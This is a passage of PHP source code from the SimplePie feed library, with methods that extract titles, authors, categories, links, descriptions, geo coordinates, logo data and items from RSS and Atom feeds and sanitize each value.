     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_channel_tags(string $namespace, string $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_ALL) {
            if ($return = $this->get_feed_tags($namespace, $tag)) {
                return $return;
            }
        }
        if ($type & self::TYPE_RSS_10) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_20, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * image/logo section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_image_tags(string $namespace, string $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_RSS_10) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($image = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get the base URL value from the feed
     *
     * Uses `<xml:base>` if available,
     * otherwise uses the first 'self' link or the first 'alternate' link of the feed,
     * or failing that, the URL of the feed itself.
     *
     * @see get_link
     * @see subscribe_url
     *
     * @param array<string, mixed> $element
     * @return string
     */
    public function get_base(array $element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        if (($link = $this->get_link(0, 'alternate')) !== null) {
            return $link;
        }
        if (($link = $this->get_link(0, 'self')) !== null) {
            return $link;
        }

        return $this->subscribe_url() ?? '';
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see Sanitize::sanitize()
     * @param string $data Data to sanitize
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize(string $data, int $type, string $base = '')
    {
        try {
            // This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
            return $this->sanitize->sanitize($data, $type, $base);
        } catch (SimplePieException $e) {
            if (!$this->enable_exceptions) {
                $this->error = $e->getMessage();
                $this->registry->call(Misc::class, 'error', [$this->error, E_USER_WARNING, $e->getFile(), $e->getLine()]);
                return '';
            }

            throw $e;
        }
    }

    /**
     * Get the title of the feed
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since 1.0 (previously called `get_feed_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get a category for the feed
     *
     * @since Unknown
     * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
     * @return Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the feed
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Unknown
     * @return array<Category>|null List of {@see Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], self::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], self::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], self::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the feed
     *
     * @since 1.1
     * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
     * @return Author|null
     */
    public function get_author(int $key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get all authors for the feed
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since 1.1
     * @return array<Author>|null List of {@see Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $author['child'][self::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], self::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], self::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    /**
     * Get a contributor for the feed
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
     * @return Author|null
     */
    public function get_contributor(int $key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the feed
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return array<Author>|null List of {@see Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], self::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $contributor['child'][self::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], self::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get a single link for the feed
     *
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link(int $key = 0, string $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @internal Added for parity between the parent-level and the item/entry-level.
     * @return string|null Link URL
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    /**
     * Get all links for the feed
     *
     * Uses `<atom:link>` or `<link>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array<string>|null Links found for the feed (strings)
     */
    public function get_links(string $rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === self::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['headers']['link'])) {
            $link_headers = $this->data['headers']['link'];
            if (is_array($link_headers)) {
                $link_headers = implode(',', $link_headers);
            }
            // https://datatracker.ietf.org/doc/html/rfc8288
            if (is_string($link_headers) &&
                preg_match_all('/<(?P<uri>[^>]+)>\s*;\s*rel\s*=\s*(?P<quote>"?)' . preg_quote($rel) . '(?P=quote)\s*(?=,|$)/i', $link_headers, $matches)) {
                return $matches['uri'];
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * @return ?array<Response>
     */
    public function get_all_discovered_feeds()
    {
        return $this->all_discovered_feeds;
    }

    /**
     * Get the content for the item
     *
     * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
     * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
     *
     * @since 1.0 (previously called `get_feed_description()` since 0.8)
     * @return string|null
     */
    public function get_description()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the copyright info for the feed
     *
     * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
     *
     * @since 1.0 (previously called `get_feed_copyright()` since 0.8)
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the language for the feed
     *
     * Uses `<language>`, `<dc:language>`, or @xml_lang
     *
     * @since 1.0 (previously called `get_feed_language()` since 0.8)
     * @return string|null
     */
    public function get_language()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['headers']['content-language'])) {
            return $this->sanitize($this->data['headers']['content-language'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the feed
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the feed logo's title
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
     *
     * Uses `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_title()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the feed logo's URL
     *
     * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
     * have a "feed logo" URL. This points directly to the image itself.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_url()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], self::CONSTRUCT_IRI);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }


    /**
     * Get the feed logo's link
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
     * points to a human-readable page that the image should link to.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_link()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the feed logo's link
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" width.
     *
     * Uses `<image><width>` or defaults to 88 if no width is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_width()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'width')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 88;
        }

        return null;
    }

    /**
     * Get the feed logo's height
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" height.
     *
     * Uses `<image><height>` or defaults to 31 if no height is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_height()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'height')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 31;
        }

        return null;
    }

    /**
     * Get the number of items in the feed
     *
     * This is well-suited for {@link http://php.net/for for()} loops with
     * {@see get_item()}
     *
     * @param int $max Maximum value to return. 0 for no limit
     * @return int Number of items in the feed
     */
    public function get_item_quantity(int $max = 0)
    {
        $qty = count($this->get_items());
        if ($max === 0) {
            return $qty;
        }

        return min($qty, $max);
    }

    /**
     * Get a single item from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity()
     * @since Beta 2
     * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1
     * @return Item|null
     */
    public function get_item(int $key = 0)
    {
        $items = $this->get_items();
        if (isset($items[$key])) {
            return $items[$key];
        }

        return null;
    }

    /**
     * Get all items from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity
     * @since Beta 2
     * @param int $start Index to start at
     * @param int $end Number of items to return. 0 for all items after `$start`
     * @return Item[] List of {@see Item} objects
     */
    public function get_items(int $start = 0, int $end = 0)
    {
        if (!isset($this->data['items'])) {
            if (!empty($this->multifeed_objects)) {
                $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
                if (empty($this->data['items'])) {
                    return [];
                }
                return $this->data['items'];
            }
            $this->data['items'] = [];
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_10, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_03, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
        }

        if (empty($this->data['items'])) {
            return [];
        }

        if ($this->order_by_date) {
